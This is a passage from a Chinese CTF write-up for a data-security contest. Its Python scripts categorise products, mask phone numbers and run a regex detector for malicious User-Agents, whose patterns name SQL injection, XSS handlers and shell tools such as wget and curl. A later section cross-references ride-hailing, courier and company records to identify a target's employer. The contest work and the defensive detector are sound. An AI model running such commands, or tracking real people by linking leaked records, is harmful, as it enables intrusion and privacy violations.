CSV 文件路径 (data.csv).</span></span><br><span class="line"><span class="string">        output_csv_file (str): 输出 CSV 文件路径 (q2.csv).</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    category_list = &#123;</span><br><span class="line">        <span class="number">1</span>: <span class="string">&quot;手机&quot;</span>, <span class="number">2</span>: <span class="string">&quot;母婴用品&quot;</span>, <span class="number">3</span>: <span class="string">&quot;家具&quot;</span>, <span class="number">4</span>: <span class="string">&quot;书籍&quot;</span>, <span class="number">5</span>: <span class="string">&quot;蔬菜&quot;</span>, <span class="number">6</span>: <span class="string">&quot;厨房用具&quot;</span>, <span class="number">7</span>: <span class="string">&quot;办公&quot;</span>, <span class="number">8</span>: <span class="string">&quot;睡衣&quot;</span>, <span class="number">9</span>: <span class="string">&quot;宠物&quot;</span>,</span><br><span class="line">        <span class="number">10</span>: <span class="string">&quot;运动&quot;</span>, <span class="number">11</span>: <span class="string">&quot;热水器&quot;</span>, <span class="number">12</span>: <span class="string">&quot;彩妆&quot;</span>, <span class="number">13</span>: <span class="string">&quot;保健品&quot;</span>, <span class="number">14</span>: <span class="string">&quot;酒水&quot;</span>, <span class="number">15</span>: <span class="string">&quot;玩具乐器&quot;</span>, <span class="number">16</span>: <span class="string">&quot;汽车&quot;</span>, <span class="number">17</span>: <span class="string">&quot;床上用品&quot;</span>,</span><br><span class="line">        <span class="number">18</span>: <span class="string">&quot;洗护用品&quot;</span>, <span class="number">19</span>: <span class="string">&quot;五金&quot;</span>, <span class="number">20</span>: <span class="string">&quot;户外&quot;</span>, <span class="number">21</span>: <span class="string">&quot;珠宝&quot;</span>, <span class="number">22</span>: <span class="string">&quot;医疗器械&quot;</span>, <span class="number">23</span>: <span class="string">&quot;花卉园艺&quot;</span>, <span class="number">24</span>: <span class="string">&quot;游戏&quot;</span>, <span class="number">25</span>: <span class="string">&quot;园艺&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">    category_list_str = <span class="string">&quot;\n&quot;</span>.join([<span class="string">f&quot;<span class="subst">&#123;k&#125;</span>. <span class="subst">&#123;v&#125;</span>&quot;</span> <span class="keyword">for</span> k, v <span class="keyword">in</span> category_list.items()])</span><br><span class="line"></span><br><span class="line">    product_data = &#123;&#125; <span class="comment"># 用于存储商品信息和评论计数，key 是 商品ID</span></span><br><span class="line">    product_names = &#123;&#125; <span class="comment"># 用于存储商品名称，key 是 商品ID，用于去重分类</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(input_csv_file, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> infile:</span><br><span class="line">        reader = csv.DictReader(infile)</span><br><span class="line">        <span class="keyword">for</span> row <span class="keyword">in</span> reader:</span><br><span class="line">            product_id = row[<span class="string">&#x27;商品ID&#x27;</span>]</span><br><span class="line">            product_name = row[<span class="string">&#x27;商品名称&#x27;</span>]</span><br><span class="line">            product_sales_str = row[<span class="string">&#x27;商品销量&#x27;</span>]</span><br><span class="line"></span><br><span class="line">            <span class="comment"># 清洗销量数据</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                product_sales = <span class="built_in">int</span>(<span class="built_in">float</span>(product_sales_str.replace(<span class="string">&#x27;,&#x27;</span>, <span class="string">&#x27;&#x27;</span>)))</span><br><span class="line">                <span class="keyword">if</span> product_sales &lt; <span class="number">0</span> <span class="keyword">or</span> product_sales_str == <span class="string">&#x27;&#x27;</span>: <span class="comment"># 空字符串也当做0</span></span><br><span class="line">                    product_sales = <span class="number">0</span></span><br><span class="line">            <span class="keyword">except</span> ValueError:</span><br><span class="line">                product_sales = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> product_id <span class="keyword">not</span> <span class="keyword">in</span> product_data:</span><br><span class="line">                product_data[product_id] = &#123;</span><br><span class="line">                    <span class="string">&#x27;销量&#x27;</span>: product_sales,</span><br><span class="line">                    <span class="string">&#x27;评论总数&#x27;</span>: <span class="number">0</span>,</span><br><span class="line">                    <span class="string">&#x27;分类ID&#x27;</span>: <span class="literal">None</span>, <span class="comment"># 初始分类ID为None</span></span><br><span class="line">                &#125;</span><br><span class="line">                product_names[product_id] = product_name <span class="comment"># 记录商品名称用于分类</span></span><br><span class="line">            <span class="keyword">if</span> row[<span class="string">&quot;用户名&quot;</span>] == <span class="string">&quot;Luminoria&quot;</span>:<span class="comment"># 提取数据时产生的占位行，要忽略</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            product_data[product_id][<span class="string">&#x27;评论总数&#x27;</span>] += <span class="number">1</span> <span class="comment"># 每次读取到同一商品ID的评论，评论总数加1</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 调用 Ollama 获取分类ID</span></span><br><span class="line">    <span class="keyword">for</span> product_id, product_name <span class="keyword">in</span> tqdm(product_names.items()):</span><br><span class="line">        category_id = get_category_id_from_ollama(product_name, category_list_str)</span><br><span class="line">        <span class="keyword">if</span> category_id:</span><br><span class="line">            product_data[product_id][<span class="string">&#x27;分类ID&#x27;</span>] = category_id</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            product_data[product_id][<span class="string">&#x27;分类ID&#x27;</span>] = <span class="string">&#x27;0&#x27;</span> <span class="comment"># 无法分类的设置为0或其他默认值</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 准备写入 q2.csv 的数据，并排序</span></span><br><span class="line">    output_data = []</span><br><span class="line">    <span class="keyword">for</span> product_id <span class="keyword">in</span> <span class="built_in">sorted</span>(product_data.keys(), key=<span class="built_in">int</span>): <span class="comment"># 按照商品ID升序排序</span></span><br><span class="line">        output_data.append(&#123;</span><br><span class="line">            <span class="string">&#x27;ID&#x27;</span>: product_id,</span><br><span class="line">            <span class="string">&#x27;销量&#x27;</span>: product_data[product_id][<span class="string">&#x27;销量&#x27;</span>],</span><br><span class="line">            <span class="string">&#x27;分类ID&#x27;</span>: product_data[product_id][<span class="string">&#x27;分类ID&#x27;</span>] <span class="keyword">if</span> product_data[product_id][<span class="string">&#x27;分类ID&#x27;</span>] <span class="keyword">else</span> <span class="string">&#x27;0&#x27;</span>, <span class="comment"># 确保分类ID不为None</span></span><br><span class="line">            <span class="string">&#x27;评论总数&#x27;</span>: product_data[product_id][<span class="string">&#x27;评论总数&#x27;</span>]</span><br><span class="line">        &#125;)</span><br><span class="line"></span><br><span class="line">    csv_columns = [<span class="string">&#x27;product_id&#x27;</span>, <span class="string">&#x27;sales&#x27;</span>, <span class="string">&#x27;category_id&#x27;</span>, <span class="string">&#x27;reviews_number&#x27;</span>]</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(output_csv_file, <span class="string">&#x27;w&#x27;</span>, newline=<span class="string">&#x27;&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> outfile:</span><br><span class="line">        writer = csv.DictWriter(outfile, fieldnames=csv_columns)</span><br><span class="line">        writer.writeheader()</span><br><span class="line">        writer.writerows(output_data)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;数据清洗、分类和聚合完成，结果已保存到 <span class="subst">&#123;output_csv_file&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    input_csv_file = <span class="string">&#x27;data.csv&#x27;</span></span><br><span class="line">    output_csv_file = <span class="string">&#x27;submit_2.csv&#x27;</span></span><br><span class="line">    clean_data_and_categorize(input_csv_file, output_csv_file)</span><br></pre></td></tr></table></figure><p>然后将保存的 <code>submit_2.csv</code> 提交就行</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330154824927-1743321678825-27.png"></p><h3 id="隐私保护与恶意检测-Luminoria"><a href="#隐私保护与恶意检测-Luminoria" class="headerlink" title="隐私保护与恶意检测 | @Luminoria"></a>隐私保护与恶意检测 | @Luminoria</h3><p>因为不存在需要 AI 判断的东西，所以直接用 re 抓关键词就行</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> csv</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"><span class="keyword">import</span> ollama</span><br><span class="line"></span><br><span class="line"><span class="comment"># 手机号脱敏函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">desensitize_phone</span>(<span class="params">phone</span>):</span><br><span class="line">    digits = re.sub(<span class="string">r&#x27;\D&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="built_in">str</span>(phone))  <span class="comment"># 去除非数字字符</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(digits) &lt; <span class="number">7</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> digits[:<span class="number">3</span>] + <span class="string">&quot;****&quot;</span> + digits[-<span class="number">4</span>:]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 恶意代码检测函数</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_malicious</span>(<span class="params">ua</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> ua <span class="keyword">or</span> ua.strip() == <span class="string">&quot;NOT_A_UA&quot;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="comment"># 定义恶意代码正则表达式规则</span></span><br><span class="line">    patterns = [</span><br><span class="line">        <span class="comment"># SQL注入检测</span></span><br><span class="line">        <span class="string">r&#x27;;\s*(select|insert|update|delete|drop)\b&#x27;</span>,</span><br><span class="line">        <span class="string">r&#x27;\bunion\s+select\b&#x27;</span>,</span><br><span class="line">        <span class="string">r&#x27;\bselect\b.*\bfrom\b&#x27;</span>,</span><br><span class="line">        <span class="comment"># XSS检测</span></span><br><span class="line">        <span class="string">r&#x27;&lt;\s*script\b.*?&gt;.*?&lt;\s*/\s*script\s*&gt;&#x27;</span>,</span><br><span class="line">        <span class="string">r&#x27;onerror\s*=&#x27;</span>,</span><br><span class="line">        <span class="string">r&#x27;onload\s*=&#x27;</span>,</span><br><span class="line">        <span class="comment"># 命令执行检测</span></span><br><span class="line">        <span class="string">r&#x27;(\|\||&amp;&amp;|\$\(|\b(wget|curl|rm|ls|cat|echo)\b)&#x27;</span>,</span><br><span class="line">        <span class="comment"># 代码执行检测</span></span><br><span class="line">        <span class="string">r&#x27;\b(eval|exec|system|passthru|shell_exec)\s*\(&#x27;</span>,</span><br><span class="line">    ]</span><br><span class="line">    <span class="keyword">for</span> pattern <span class="keyword">in</span> patterns:</span><br><span class="line">        <span class="keyword">if</span> re.search(pattern, ua, re.IGNORECASE):</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 统计有效行数</span></span><br><span class="line">valid_rows = <span class="number">0</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;data.csv&#x27;</span>, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    reader = csv.DictReader(f)</span><br><span class="line">    <span class="keyword">for</span> row <span class="keyword">in</span> reader:</span><br><span class="line">        <span class="keyword">if</span> row[<span class="string">&#x27;用户名&#x27;</span>] != <span class="string">&#x27;Luminoria&#x27;</span>:</span><br><span class="line">            valid_rows += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 处理数据并收集结果</span></span><br><span class="line">processed = []</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;data.csv&#x27;</span>, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f_in:</span><br><span class="line">    reader = csv.DictReader(f_in)</span><br><span class="line">    <span class="keyword">with</span> tqdm(total=valid_rows, desc=<span class="string">&quot;Processing&quot;</span>, unit=<span class="string">&quot;row&quot;</span>) <span class="keyword">as</span> pbar:</span><br><span class="line">        <span class="keyword">for</span> row <span class="keyword">in</span> reader:</span><br><span class="line">            <span class="keyword">if</span> row[<span class="string">&#x27;用户名&#x27;</span>] == <span class="string">&#x27;Luminoria&#x27;</span>:<span class="comment"># 提取数据时产生的占位行，要忽略</span></span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 手机号脱敏</span></span><br><span class="line">            desen_phone = desensitize_phone(row[<span class="string">&#x27;电话&#x27;</span>])</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 恶意代码检测</span></span><br><span class="line">            ua = row[<span class="string">&#x27;UA&#x27;</span>]</span><br><span class="line">            is_mal = is_malicious(ua)</span><br><span class="line">            code_check = <span class="string">&#x27;FALSE&#x27;</span> <span class="keyword">if</span> is_mal <span class="keyword">else</span> <span class="string">&#x27;TRUE&#x27;</span></span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 保存结果</span></span><br><span class="line">            processed.append(&#123;</span><br><span class="line">                <span class="string">&#x27;user_id&#x27;</span>: <span class="built_in">int</span>(row[<span class="string">&#x27;用户ID&#x27;</span>]),</span><br><span class="line">                <span class="string">&#x27;desensitization&#x27;</span>: desen_phone,</span><br><span class="line">                <span class="string">&#x27;code_check&#x27;</span>: code_check</span><br><span class="line">            &#125;)</span><br><span class="line">            pbar.update(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 按user_id升序排序</span></span><br><span class="line">processed.sort(key=<span class="keyword">lambda</span> x: x[<span class="string">&#x27;user_id&#x27;</span>])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 写入结果文件</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;submit_3.csv&#x27;</span>, <span class="string">&#x27;w&#x27;</span>, newline=<span class="string">&#x27;&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f_out:</span><br><span class="line">    writer = csv.DictWriter(f_out, fieldnames=[<span class="string">&#x27;user_id&#x27;</span>, <span class="string">&#x27;desensitization&#x27;</span>, <span class="string">&#x27;code_check&#x27;</span>])</span><br><span class="line">    writer.writeheader()</span><br><span class="line">    writer.writerows(processed)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;处理完成，结果已保存至 submit_3.csv&quot;</span>)</span><br></pre></td></tr></table></figure><p>然后直接交出来的文件就行</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330154835649-1743321678825-28.png"></p><h2 id="社会工程"><a href="#社会工程" class="headerlink" title="社会工程"></a>社会工程</h2><h3 id="张华强的公司名称-Luminoria-Ron"><a href="#张华强的公司名称-Luminoria-Ron" class="headerlink" title="张华强的公司名称 | @Luminoria @Ron"></a>张华强的公司名称 | @Luminoria @Ron</h3><h4 id="个人做法"><a href="#个人做法" class="headerlink" title="个人做法"></a>个人做法</h4><p>在队友给了公司名的情况下，用脚本去搜题目提供的工商信息里面的内容</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> openpyxl</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">search_keyword_in_excel</span>(<span class="params">folder_path, keyword</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    遍历指定文件夹下的所有xlsx文件，查找包含关键词的行并打印。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    Args:</span></span><br><span class="line"><span class="string">        folder_path: 包含xlsx文件的文件夹路径。</span></span><br><span class="line"><span class="string">        keyword: 要搜索的关键词。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    found_files = <span class="literal">False</span>  <span class="comment"># 标记是否找到包含关键词的文件</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> filename <span class="keyword">in</span> os.listdir(folder_path):</span><br><span class="line">        <span class="keyword">if</span> filename.endswith(<span class="string">&quot;.xlsx&quot;</span>):</span><br><span class="line">            file_path = os.path.join(folder_path, filename)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;正在处理文件: <span class="subst">&#123;filename&#125;</span>&quot;</span>)</span><br><span class="line">            found_in_file = <span class="literal">False</span>  <span class="comment"># 标记当前文件是否找到关键词</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                workbook = openpyxl.load_workbook(file_path)</span><br><span class="line">                <span class="keyword">for</span> sheet_name <span class="keyword">in</span> workbook.sheetnames:</span><br><span class="line">                    sheet = workbook[sheet_name]</span><br><span class="line">                    <span class="keyword">for</span> row_index, row <span class="keyword">in</span> <span class="built_in">enumerate</span>(sheet.rows, start=<span class="number">1</span>): <span class="comment"># 从第一行开始，row_index从1开始</span></span><br><span class="line">                        row_values = [<span class="built_in">str</span>(cell.value) <span class="keyword">for</span> cell <span class="keyword">in</span> row] <span class="comment"># 将单元格值转换为字符串，处理None值</span></span><br><span class="line">                        <span class="keyword">if</span> <span class="built_in">any</span>(keyword <span class="keyword">in</span> value <span class="keyword">for</span> value <span class="keyword">in</span> row_values <span class="keyword">if</span> value <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>): <span class="comment"># 检查关键词是否存在于行的任何单元格中 (忽略None值)</span></span><br><span class="line">                            found_in_file = <span class="literal">True</span></span><br><span class="line">                            found_files = <span class="literal">True</span></span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">f&quot;  - 表单: <span class="subst">&#123;sheet_name&#125;</span>, 行号: <span class="subst">&#123;row_index&#125;</span>, 内容: <span class="subst">&#123;row_values&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> found_in_file:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;  - 未在文件中找到关键词 &#x27;<span class="subst">&#123;keyword&#125;</span>&#x27;。&quot;</span>)</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;  - 在文件中找到关键词 &#x27;<span class="subst">&#123;keyword&#125;</span>&#x27;。&quot;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;  - 处理文件 <span class="subst">&#123;filename&#125;</span> 时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> found_files:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;在文件夹 &#x27;<span class="subst">&#123;folder_path&#125;</span>&#x27; 中没有任何文件包含关键词 &#x27;<span class="subst">&#123;keyword&#125;</span>&#x27;。&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    folder_to_search = <span class="string">&quot;gongshang&quot;</span></span><br><span class="line">    keyword_to_find = <span class="string">&quot;博林科技&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(folder_to_search):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;错误: 文件夹 &#x27;<span class="subst">&#123;folder_to_search&#125;</span>&#x27; 不存在。请确保文件夹路径正确。&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;开始在文件夹 &#x27;<span class="subst">&#123;folder_to_search&#125;</span>&#x27; 中搜索关键词 &#x27;<span class="subst">&#123;keyword_to_find&#125;</span>&#x27;...&quot;</span>)</span><br><span class="line">        search_keyword_in_excel(folder_to_search, keyword_to_find)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;搜索完成。&quot;</span>)</span><br></pre></td></tr></table></figure><p>在 data47.xlsx 中能找到相关的信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">正在处理文件: data47.xlsx</span><br><span class="line">  - 表单: Sheet1, 行号: 5216, 内容: [&#x27;99640928131194569978&#x27;, &#x27;杭州市&#x27;, &#x27;闵行区星辰信息技术园&#x27;, &#x27;江苏博林科技有限公司&#x27;]</span><br><span class="line">  - 在文件中找到关键词 &#x27;博林科技&#x27;。</span><br></pre></td></tr></table></figure><h4 id="队友做法"><a href="#队友做法" class="headerlink" title="队友做法"></a>队友做法</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sqlite3</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="keyword">import</span> csv</span><br><span class="line"><span class="keyword">from</span> collections <span class="keyword">import</span> defaultdict</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_db_path</span>(<span class="params">date</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">f&quot;./附件/rides/<span class="subst">&#123;date&#125;</span>.db&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">query_data</span>(<span class="params">start_date, end_date</span>):</span><br><span class="line">    current_date = start_date</span><br><span class="line">    user_rides = defaultdict(<span class="built_in">int</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> current_date &lt;= end_date:</span><br><span class="line">        <span class="built_in">print</span>(current_date)</span><br><span class="line">        db_path = get_db_path(current_date.strftime(<span class="string">&#x27;%Y-%m-%d&#x27;</span>))</span><br><span class="line">        <span class="keyword">if</span> os.path.exists(db_path):</span><br><span class="line">            conn = sqlite3.connect(db_path)</span><br><span class="line">            cursor = conn.cursor()</span><br><span class="line">            </span><br><span class="line">            cursor.execute(<span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">                SELECT name, phone</span></span><br><span class="line"><span class="string">                FROM location_data</span></span><br><span class="line"><span class="string">                WHERE strftime(&#x27;%w&#x27;, date) BETWEEN &#x27;1&#x27; AND &#x27;5&#x27;</span></span><br><span class="line"><span class="string">                AND name LIKE &#x27;张%&#x27;</span></span><br><span class="line"><span class="string">            &quot;&quot;&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">for</span> name, phone <span class="keyword">in</span> cursor.fetchall():</span><br><span class="line">                user_rides[(name, phone)] += <span class="number">1</span></span><br><span class="line">            </span><br><span class="line">            conn.close()</span><br><span class="line">        </span><br><span class="line">        current_date += datetime.timedelta(days=<span class="number">1</span>)</span><br><span class="line">    </span><br><span class="line">    sorted_rides = <span class="built_in">sorted</span>(user_rides.items(), key=<span class="keyword">lambda</span> x: x[<span class="number">1</span>], reverse=<span class="literal">True</span>)</span><br><span class="line">    <span class="keyword">return</span> sorted_rides</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    start_date = datetime.date(<span class="number">2024</span>, <span class="number">12</span>, <span class="number">1</span>)</span><br><span class="line">    end_date = datetime.date(<span class="number">2024</span>, <span class="number">12</span>, <span class="number">31</span>)</span><br><span class="line">    results = query_data(start_date, end_date)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;result.csv&quot;</span>, <span class="string">&quot;w&quot;</span>, newline=<span class="string">&quot;&quot;</span>, encoding=<span class="string">&quot;utf-8&quot;</span>) <span class="keyword">as</span> file:</span><br><span class="line">        writer = csv.writer(file)</span><br><span class="line">        writer.writerow([<span class="string">&quot;Name&quot;</span>, <span class="string">&quot;Phone&quot;</span>, <span class="string">&quot;Rides&quot;</span>])</span><br><span class="line">        <span class="keyword">for</span> (name, phone), count <span class="keyword">in</span> results:</span><br><span class="line">            writer.writerow([name, phone, count])</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (name, phone), count <span class="keyword">in</span> results:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;name&#125;</span> (<span class="subst">&#123;phone&#125;</span>): <span class="subst">&#123;count&#125;</span> rides&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>先用Python 拿到每个用户（用户名和手机号一致为一个）在周一到周五打车的数据条目数</p><p><img src="https://assets.bili33.top/img/CTF-DCIC2025-Data-Security-Preliminary-round-Writeup/image-20250330153746-zx3j6ib.png"></p><p>发现138****9377遥遥领先</p><p>在db中翻找发现周一到周五都有打车，周末没有，基本符合 <strong>张某的生活习惯为：周一到周五从家打车去公司，周末无明显固定作息</strong></p><p>在快递中搜索手机号找到数据</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">MF7297484562175167 <span class="number">2025</span>-01-<span class="number">21</span> 宋** <span class="number">134</span>****<span class="number">9281</span> **市**区******中心<span class="number">32</span>楼兰金电子 张** <span class="number">138</span>****<span class="number">9377</span> **市**区******息技术园<span class="number">16</span>楼博林科技</span><br><span class="line">MF3442357592017816 <span class="number">2025</span>-02-01 金** <span class="number">188</span>****<span class="number">9754</span> **市**区******来智汇园<span class="number">6</span>楼易动力信 张** <span 